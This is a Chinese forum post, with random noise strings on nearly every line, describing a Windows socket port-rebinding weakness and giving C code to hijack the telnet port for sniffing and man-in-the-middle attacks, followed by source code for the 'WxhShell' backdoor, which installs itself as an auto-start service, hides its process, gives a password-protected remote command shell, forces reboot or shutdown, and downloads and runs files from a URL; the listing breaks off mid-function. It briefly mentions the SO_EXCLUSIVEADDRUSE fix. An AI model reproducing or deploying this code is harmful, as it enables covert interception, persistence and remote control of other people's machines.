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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Mk"^?%PxT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k\5c|Wq|g  
v[1aW v:  
  saddr.sin_family = AF_INET; xi~?>f  
wW>A_{Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;U/&I3dzV  
]cHgleHQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9X}10u:  
+$ 'Zf0U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &u$Q4  
E(>=rD/+  
  这意味着什么?意味着可以进行如下的攻击: P3x8UR=fS  
N G+GEqx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "L IF.)  
M\uiq38  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3l rT3a3vV  
11 Q1AN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0CnOL!3.I  
@0Ic3C[rH6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "g5^_UP  
<? q?Mn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }Y12  
n(1l}TJy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  -*1d!  
f,U.7E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;17E(tl  
_>&X\`D   
  #include Yl Zso2  
  #include ` Fa~  
  #include kMIcK4.MH  
  #include    ,0 M_ Bk"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V(H1q`ao9  
  int main() )}Hpi<5N  
  { B-*+r`@Bd  
  WORD wVersionRequested; Vh|*p&  
  DWORD ret; ^UP`%egR  
  WSADATA wsaData; *7uH-u"5d  
  BOOL val; ZF!h<h&,  
  SOCKADDR_IN saddr; 9 P l  
  SOCKADDR_IN scaddr; Kn5~d(:  
  int err; NVkV7y X]  
  SOCKET s; `KZm0d{H  
  SOCKET sc; 5'OrHk;u  
  int caddsize; G30-^Tr   
  HANDLE mt; 8I=2lK  
  DWORD tid;   =9H7N]*h  
  wVersionRequested = MAKEWORD( 2, 2 ); Vr3Zu{&2  
  err = WSAStartup( wVersionRequested, &wsaData ); KjD/o?JUr  
  if ( err != 0 ) { "Wct({n  
  printf("error!WSAStartup failed!\n"); *3+4[WT0]a  
  return -1; )8a~L8oN  
  } =Qy<GeY  
  saddr.sin_family = AF_INET; \j$&DCv   
   G<L;4nA)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yuh *  
ik)|{%!K]H  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X]ipI$'+C  
  saddr.sin_port = htons(23); x+\`gK5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2=*H 8'k  
  { OAgniLv  
  printf("error!socket failed!\n"); 9SX +  
  return -1; AP3a;4Z#  
  } ahusta  
  val = TRUE; y6g&Y.:o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >xN .F/[K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M[NV )q/)  
  { j * %  
  printf("error!setsockopt failed!\n"); 'NWfBJm  
  return -1; &h}#HS>l  
  } \;,_S+Fz8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _P!m%34|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bL0yuAwF2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xVw9v6@`h  
2R[:]-b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =O~_Q-  
  { f[]dfLS"W  
  ret=GetLastError(); z}.e]|b^H  
  printf("error!bind failed!\n"); oh4E7yN  
  return -1; vx{}}/B]J  
  } })'B<vq  
  listen(s,2); ,V7nzhA2  
  while(1) 0 j^Kgx  
  { B`EJb71^Xy  
  caddsize = sizeof(scaddr); Lc}LGq!  
  //接受连接请求 T6'^EZZY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N:^n('U&j  
  if(sc!=INVALID_SOCKET) kXViWOXU^  
  { EfqX y>W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [CY9^N  
  if(mt==NULL) &eJfGt5  
  { pJ>P[  
  printf("Thread Creat Failed!\n"); &j;wCvE4+  
  break; ez7A4>/  
  } R8K&R\  
  } %:i7s-0w  
  CloseHandle(mt); <;lkUU(WT2  
  } [|v][Hwv  
  closesocket(s); \P[Y`LYL  
  WSACleanup(); kBS9tKBWg  
  return 0; q9B$" n  
  }   QL(n} {.%  
  DWORD WINAPI ClientThread(LPVOID lpParam) Lw1Yvtn  
  { !n`fTK<$  
  SOCKET ss = (SOCKET)lpParam; &< z1k-&!  
  SOCKET sc; 8C40%q..  
  unsigned char buf[4096]; hWjc<9  
  SOCKADDR_IN saddr;  -uS!\  
  long num; EAUEQk?9  
  DWORD val; YqscZ(L:y  
  DWORD ret; `Gs9Xmc|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?4YGT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a,,exi  
  saddr.sin_family = AF_INET; H8=N@l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IW5,7.  
  saddr.sin_port = htons(23); e1yt9@k,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `>o{P/HN  
  { nkPh,X\N0  
  printf("error!socket failed!\n"); =F|{# F  
  return -1; /'SNw?&  
  } U4'#T%*  
  val = 100; @NR>{Eg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) . '6gZKXY  
  { 7g^]:3f!   
  ret = GetLastError(); XPc^Tq  
  return -1; Lj({[H7D!  
  } PI {bmZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RU|Q ]Ymx  
  { x>K Or,f  
  ret = GetLastError(); 4Z3su^XR  
  return -1; 1C+13LE$U  
  } "Bkfoi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iqsCB%;5  
  { cVv=*81\  
  printf("error!socket connect failed!\n"); `bq<$e  
  closesocket(sc); w7L{_aom  
  closesocket(ss); b! t0w{^w  
  return -1; kdiM5l70  
  } Z-%\ <zT  
  while(1) ic:zsuEm  
  { G[PtkPSJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ScOK)nL"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 38B2|x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4> K42m  
  num = recv(ss,buf,4096,0); =jN.1}  
  if(num>0) b=C*W,Q_#  
  send(sc,buf,num,0); zpn9,,~u  
  else if(num==0) ZvM(Q=^  
  break; <_L,t 1H{  
  num = recv(sc,buf,4096,0); qz_7%c]K[  
  if(num>0) LBeF&sb6  
  send(ss,buf,num,0); kt#fMd$  
  else if(num==0) u[;\y|75  
  break; j^sg6.Z*  
  } /8'NG6"H`  
  closesocket(ss); K8|r&`X0  
  closesocket(sc); ;?Tbnn Wn  
  return 0 ; XSB"{H>&  
  } 6_o*y8s.  
5vQHhwO50k  
s[>,X#7 y  
========================================================== mthA4sz  
n&4N[Qlv,  
下边附上一个代码,,WXhSHELL <dWv?<o  
QT5TE: D  
========================================================== a=_g*OK}D  
o'aEY<mZ7  
#include "stdafx.h" QE+g j8  
1ba~SHi  
#include <stdio.h> 5DU6rks%  
#include <string.h> =j_4S<  
#include <windows.h> %A/0 '  
#include <winsock2.h> 1t~G|zhX  
#include <winsvc.h> n+9=1Oo"  
#include <urlmon.h> *8A  
h+H%?:FX  
#pragma comment (lib, "Ws2_32.lib") >h9I M$2  
#pragma comment (lib, "urlmon.lib") )AtD}HEv  
!?jrf] A@  
#define MAX_USER   100 // 最大客户端连接数 M] %?>G  
#define BUF_SOCK   200 // sock buffer _yx>TE2e  
#define KEY_BUFF   255 // 输入 buffer $99n&t$Y  
oCv.Ln1;Z  
#define REBOOT     0   // 重启 {w O|)|  
#define SHUTDOWN   1   // 关机 m])y.T  
3pROf#M  
#define DEF_PORT   5000 // 监听端口 n38p!oS  
ub0.J#j@  
#define REG_LEN     16   // 注册表键长度 sE<V5`Z=  
#define SVC_LEN     80   // NT服务名长度 7aRi5  
p`dU2gV  
// 从dll定义API 2a)xTA#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FX&~\kmV'j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &BLJT9Frx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EJ.SW5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 76Cl\rV  
:S83vE81WK  
// wxhshell配置信息 eKgBy8tNS0  
struct WSCFG { p4rL}Jm&  
  int ws_port;         // 监听端口 ;`4&Rm9n?  
  char ws_passstr[REG_LEN]; // 口令 >2)OiQ`zg  
  int ws_autoins;       // 安装标记, 1=yes 0=no  DPxM'7  
  char ws_regname[REG_LEN]; // 注册表键名 r,3DTBe  
  char ws_svcname[REG_LEN]; // 服务名 ?3,:-"(@p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jOunWv|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZQsJL\x[UK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1=c\Rr9]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &{hL&BLr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L#{S!P,"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 re?,Wext\  
IPKbMlV#d  
}; 9&2O 9Nz6  
X7 MM2V  
// default Wxhshell configuration bo>*fNqAIy  
struct WSCFG wscfg={DEF_PORT, 4B1v4g8}  
    "xuhuanlingzhe", 65P0,b6"OT  
    1, 4[r0G+  
    "Wxhshell", y2dCEmhY  
    "Wxhshell", D/xbF`  
            "WxhShell Service", 2WL|wwA  
    "Wrsky Windows CmdShell Service", VA>35w  
    "Please Input Your Password: ", %N6A+5H  
  1, ~ 'cmSiz-  
  "http://www.wrsky.com/wxhshell.exe", xh,qNnGGi  
  "Wxhshell.exe" ^zmG0EH,  
    }; <c-=3}=U\  
"Yv_B3p   
// 消息定义模块 qJs<#MQ2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y_IF;V\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bHYy}weZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4r#= *  
char *msg_ws_ext="\n\rExit."; 8 +/rlHp  
char *msg_ws_end="\n\rQuit."; x,+{9  
char *msg_ws_boot="\n\rReboot..."; %D34/=(X  
char *msg_ws_poff="\n\rShutdown..."; KeB"D!={;  
char *msg_ws_down="\n\rSave to "; WRbj01v  
HYZ5EV  
char *msg_ws_err="\n\rErr!"; CS5?Ti6  
char *msg_ws_ok="\n\rOK!"; 'RR~7h  
'~<m~UXvD#  
char ExeFile[MAX_PATH]; #aJ(m&  
int nUser = 0; sN*N&XG  
HANDLE handles[MAX_USER]; . B9iLI  
int OsIsNt; LVfF[  
DB|Y  
SERVICE_STATUS       serviceStatus; U^%Q}'UYym  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \;3~a9q%  
B$ PP&/  
// 函数声明 "@@u3`#  
int Install(void); &< `NT D  
int Uninstall(void); ?0?#U0(;u  
int DownloadFile(char *sURL, SOCKET wsh); QB uMJm  
int Boot(int flag); |Q6.299  
void HideProc(void); =F~S?y  
int GetOsVer(void); m|n%$$S&  
int Wxhshell(SOCKET wsl); y/{fX(aV  
void TalkWithClient(void *cs); cWaSn7p!X  
int CmdShell(SOCKET sock); I\{ 1u  
int StartFromService(void); XGWSdPJLr  
int StartWxhshell(LPSTR lpCmdLine); 9'giU r  
W=><)miQ@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @7]yl&LZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5E;qM|Ns  
.CABH,Po:  
// 数据结构和表定义 VcO0sa f`  
SERVICE_TABLE_ENTRY DispatchTable[] = 61>.vT8P  
{ )e+>w=t  
{wscfg.ws_svcname, NTServiceMain}, ^z IW+:  
{NULL, NULL} R6.hA_ih  
}; ci.+pF  
$?Hu#Kn,(  
// 自我安装 2B[X,rL.pX  
int Install(void) jyUjlYAAv`  
{ 9igiZmM  
  char svExeFile[MAX_PATH]; 3g,`.I_  
  HKEY key; dI(@ZV{  
  strcpy(svExeFile,ExeFile); :Zbg9`d*  
jh%Eq+#S  
// 如果是win9x系统,修改注册表设为自启动 ,{u yG:  
if(!OsIsNt) { '(f*2eE:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .m,_N@,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nbD*x|  
  RegCloseKey(key); 3vN_p$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^R7lom.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rdP[<Y9  
  RegCloseKey(key); ]Ji.Zk  
  return 0; 'Ym9;~(@R  
    } uM IIYS  
  } feDlH[$  
} t ;;U}  
else { |O|V-f{l  
|!3DPA(_  
// 如果是NT以上系统,安装为系统服务  4iazNl#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w !-gJmX>  
if (schSCManager!=0) ghG**3xr  
{ {j?FNOJn  
  SC_HANDLE schService = CreateService *SDs;kg  
  ( N1}sHyVq7  
  schSCManager, u<tbbKM  
  wscfg.ws_svcname, Q:G4Z9Kt  
  wscfg.ws_svcdisp, '4+ ur`  
  SERVICE_ALL_ACCESS, {9&;Q|D z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !Y0Vid  
  SERVICE_AUTO_START, D rUO-  
  SERVICE_ERROR_NORMAL, i(%W_d!  
  svExeFile, 2^[ `eg  
  NULL, TOB-aAO  
  NULL, }%ojw |  
  NULL, 0WW2i{7`U  
  NULL, z,[Hli*0  
  NULL ICx#{q@f,  
  ); QC OM_$y  
  if (schService!=0) {tuYs:  
  { #4Rx]zW^%  
  CloseServiceHandle(schService); 1QcNp (MO  
  CloseServiceHandle(schSCManager); dk#k bG;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]___M  
  strcat(svExeFile,wscfg.ws_svcname); !&y8@MD15  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~*&H$6NJS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NqazpB*  
  RegCloseKey(key); w7.V6S$Ga  
  return 0; +K:Dx!9  
    } D09Sg%w  
  } EPI4!3]  
  CloseServiceHandle(schSCManager); #C74z$  
} T= y}y  
} ,GbR!j@6  
Q0`wt.}V2  
return 1; n`B:;2X,  
} mW(W\'~_~  
>reU#j  
// 自我卸载 /$xU  
int Uninstall(void) GbY7_N  
{ Olt?~}  
  HKEY key; `_Zg3_K.dS  
p SH=%u>  
if(!OsIsNt) { Eak$u>Fd8c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hB]Np1('  
  RegDeleteValue(key,wscfg.ws_regname); D(@S+r_ota  
  RegCloseKey(key); hc(#{]].  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KEo ,m  
  RegDeleteValue(key,wscfg.ws_regname); T"}5}6rSG  
  RegCloseKey(key); X Swl Tg  
  return 0; ?|\ER#z  
  } W dK #ZOR  
} ?DS@e@lx  
}  c(f  
else { (?1y4M  
ouvA~/5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %ufN8w!p  
if (schSCManager!=0) Af~$TyX  
{ t:x\kp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b;B%q$sntC  
  if (schService!=0) wtLO!=B  
  { PFlNo` iO  
  if(DeleteService(schService)!=0) { Gi|w}j_  
  CloseServiceHandle(schService); $t'MSlF  
  CloseServiceHandle(schSCManager); \j}ZB<.>  
  return 0; 9rA0lqr]5  
  } "+R+6<"  
  CloseServiceHandle(schService); PfAgM1   
  } T*/rySs  
  CloseServiceHandle(schSCManager); XB;7!8|  
} 6m/r+?'  
} U/66L+1  
xf\C|@i  
return 1; J\} twYty  
} I;,77PxD  
eH'av}  
// 从指定url下载文件 3)t.p>VgO  
int DownloadFile(char *sURL, SOCKET wsh) Fj8z  
{ P-9)38`5  
  HRESULT hr; kr^P6}'  
char seps[]= "/"; q5J5>  
char *token; Gt8M&S-;  
char *file; xjUT{iwS  
char myURL[MAX_PATH]; |#v7/$!  
char myFILE[MAX_PATH]; u"r`3P`  
D# 9m\o_  
strcpy(myURL,sURL); ?um;s-x)  
  token=strtok(myURL,seps); ]!W=^!  
  while(token!=NULL) ihhDOmUto  
  { U|H=Y"pL  
    file=token; 6##_%PO<m  
  token=strtok(NULL,seps); /e5O"@  
  } T8?Ghbn  
,1.p%UE]>  
GetCurrentDirectory(MAX_PATH,myFILE); <6%?OJhp  
strcat(myFILE, "\\"); e-})6)XgA  
strcat(myFILE, file); GLH0 ]  
  send(wsh,myFILE,strlen(myFILE),0); wQ:)KjhHH  
send(wsh,"...",3,0); +[6G5cH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /wGM#sFH  
  if(hr==S_OK) '|6]_   
return 0; @(EAq<5{  
else 1SQ3-WU s  
return 1; Ljm[?*H#  
V@.Ior}w  
} IkL#SgY  
o)M}!MT  
// 系统电源模块 >jDDQ@  
int Boot(int flag) ozyX$tp  
{ <`8n^m*  
  HANDLE hToken; { T/[cu<  
  TOKEN_PRIVILEGES tkp; T= 80,  
kUb>^- -K  
  if(OsIsNt) { Fk&c=V;SU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x /(^7#u,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2lZ Q)   
    tkp.PrivilegeCount = 1; u74[>^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `z}?"BW|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hE:9{;Gf  
if(flag==REBOOT) { ; }I:\P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |MTnH/|  
  return 0; )NW)R*m~D  
} @Z_x.Y6  
else { zF`0J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d(ZO6Nr Q  
  return 0; ^`i#$  
} ^x]r`b  
  } :I]Mps<  
  else { B9_ X;c  
if(flag==REBOOT) { !NK1MU?T)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;DQ ZT  
  return 0;  \{_q.;}  
} RT4x\&q  
else { d"1]4.c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V5@:#BIs  
  return 0; `GBW%X/  
} \k7"=yx  
} # " 6Qj'/h  
tH@Erh|%  
return 1; #Qw0&kM7I  
} .fqN|[>  
?6!JCQJ<  
// win9x进程隐藏模块 .|KyNBn  
void HideProc(void) BiLY(1,  
{ kM l+yli3c  
G<z wv3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EmWn%eMN  
  if ( hKernel != NULL ) AG nxYV"p  
  { vQG5*pR*w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |u% )gk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;J( 8 L  
    FreeLibrary(hKernel); 6xmZXp d!  
  } 3lL-)<0A(  
5+0gR &|j  
return; )b L'[h  
} 0@0w+&*"@  
4&lv6`G `  
// 获取操作系统版本 D(op)]8  
int GetOsVer(void) GRIti9GD  
{ [T4J{y64Y  
  OSVERSIONINFO winfo; ] Jg&VXrH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4HXo>0  
  GetVersionEx(&winfo); FBX'.\@`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wx%H%FeK  
  return 1; kOrZv,qFG[  
  else _#E0g'3  
  return 0; {GT*ZU*  
} Vi$~-6n&  
i$"F{|Z0  
// 客户端句柄模块 UBU=9a5  
int Wxhshell(SOCKET wsl) tyDU @M  
{ h|9L5  
  SOCKET wsh;  R Z?jJm$  
  struct sockaddr_in client; \[i1JG  
  DWORD myID;  `,*3[  
CT <7mi!  
  while(nUser<MAX_USER) lN 4oW3QT  
{ fCn^=8KOZ  
  int nSize=sizeof(client); r| wS<cA2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ij`w} V  
  if(wsh==INVALID_SOCKET) return 1; ea2ayT  
r EE1sy/#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wo{gG?B  
if(handles[nUser]==0) %g$o/A$  
  closesocket(wsh); =_*Zn(>t`  
else LKB$,pR~1l  
  nUser++; T@B/xAq5!  
  }  @tnz]^V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :uS\3toj  
l}|%5.5-  
  return 0; Y;M|D'y+  
} ] IQ&>z}<  
a$OE0zn`  
// 关闭 socket h 0Q5-EA  
void CloseIt(SOCKET wsh) OU_gdp  
{ >Eto( y"q  
closesocket(wsh); *I.f1lz%*  
nUser--; 20h, ^  
ExitThread(0); lIS-4QX1  
} (NU NHxi5B  
L|7R9+ZG  
// 客户端请求句柄 `i*E~'  
void TalkWithClient(void *cs) n0 {i&[I~+  
{ &)ChQZA  
hd<c&7|G'  
  SOCKET wsh=(SOCKET)cs; }B+C~@j  
  char pwd[SVC_LEN]; ;bib/  
  char cmd[KEY_BUFF]; P l]O\vh  
char chr[1]; _C?hHWSf"  
int i,j; *Kg ks4  
mxC;?s;~  
  while (nUser < MAX_USER) { osAd1<EIC  
KwSqKI7]0  
if(wscfg.ws_passstr) { ,m:.-iy?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %T%sGDCV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \&3+D8H>n  
  //ZeroMemory(pwd,KEY_BUFF); BM .~ 5\  
      i=0; E A1?)|}n  
  while(i<SVC_LEN) { IueFx u  
vMH  
  // 设置超时 "$^ ~!1~  
  fd_set FdRead; ]MitOkX  
  struct timeval TimeOut; _op}1   
  FD_ZERO(&FdRead); 9IfmW^0  
  FD_SET(wsh,&FdRead); zE9W8:7  
  TimeOut.tv_sec=8; SsDmoEeB[  
  TimeOut.tv_usec=0; y I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @9RM9zK.q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k)=s>&hl  
H=vUYz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oQVgyj.  
  pwd=chr[0]; ~-Qw.EdC  
  if(chr[0]==0xd || chr[0]==0xa) { +_oJ}KI  
  pwd=0; LYK"(C  
  break; D.u{~  
  } eJX9_6m-  
  i++; aSQ#k;T[  
    } @:vwb\azVD  
R.1.)P[  
  // 如果是非法用户,关闭 socket ,<P vovg_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S g![Lsj  
} .g<DD)`  
z,p~z*4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0pd'93C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 16(QR-  
AH7}/Rc  
while(1) { wc4{)qDE  
By4<2u38u  
  ZeroMemory(cmd,KEY_BUFF); '-XXo=>0MV  
s*]}QmRpr  
      // 自动支持客户端 telnet标准   KRRdXx\~  
  j=0; qqY"*uJ'  
  while(j<KEY_BUFF) { oAeUvmh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2uW; xfeY  
  cmd[j]=chr[0]; 0IBSRFt$g&  
  if(chr[0]==0xa || chr[0]==0xd) { (iX+{a%"  
  cmd[j]=0; Y\8)OBZ  
  break; !z3jTv  
  } X5$Iyis  
  j++; _A9AEi'.  
    }  d{3QP5  
`1fY)d^ZS  
  // 下载文件 0 /U{p,r6`  
  if(strstr(cmd,"http://")) { yWo; a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c`w}|d]mC  
  if(DownloadFile(cmd,wsh)) $uVHSH5l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t-bB>q#3>  
  else 7~.9=I'A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u\;C;I-? '  
  } 8'io$ 6d=  
  else { c,+:i1IAy  
z<XtS[ki  
    switch(cmd[0]) { h J)h\  
  }Oq5tC@$G  
  // 帮助 w%jII{@,  
  case '?': { ]jp6k<KF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y&Z.2>b  
    break; .Vvx,>>D  
  } o`z]|G1''  
  // 安装 4O!ikmY:t  
  case 'i': { x7<K<k;s  
    if(Install()) l}A93jSL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 60?%<oJ oH  
    else \xw5JGm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FP4P|kl/9'  
    break; 7Kxp=-k  
    } T'Dv.h  
  // 卸载 -;WGS o  
  case 'r': { B>P{A7Q  
    if(Uninstall()) }y gD3:vN7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tJ$_lk ~6q  
    else PtiOz :zV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >7DhTM-A  
    break; %YqEzlzF  
    } p947w,1![  
  // 显示 wxhshell 所在路径 N6i Q8P -  
  case 'p': { R%[ c;i  
    char svExeFile[MAX_PATH]; ,/|T-Ka  
    strcpy(svExeFile,"\n\r"); m#\ dSl}  
      strcat(svExeFile,ExeFile); {V CWn95Z  
        send(wsh,svExeFile,strlen(svExeFile),0); UH"%N)[  
    break; Em~>9f ?Q(  
    } }`m/bgtFX  
  // 重启 Ao&"r[oJSv  
  case 'b': { YNsJZnGr8#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oj+hQ+>  
    if(Boot(REBOOT)) LyFN.2qw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kc`Tdn  
    else { p9{mS7R9T  
    closesocket(wsh); >(t6.=  
    ExitThread(0); 89(Q1R ?:  
    } &\*(Q*2N  
    break; d5:c^`  
    } j*r{2f4Rt  
  // 关机 m^;f(IK5  
  case 'd': { Q*ft7$l&  
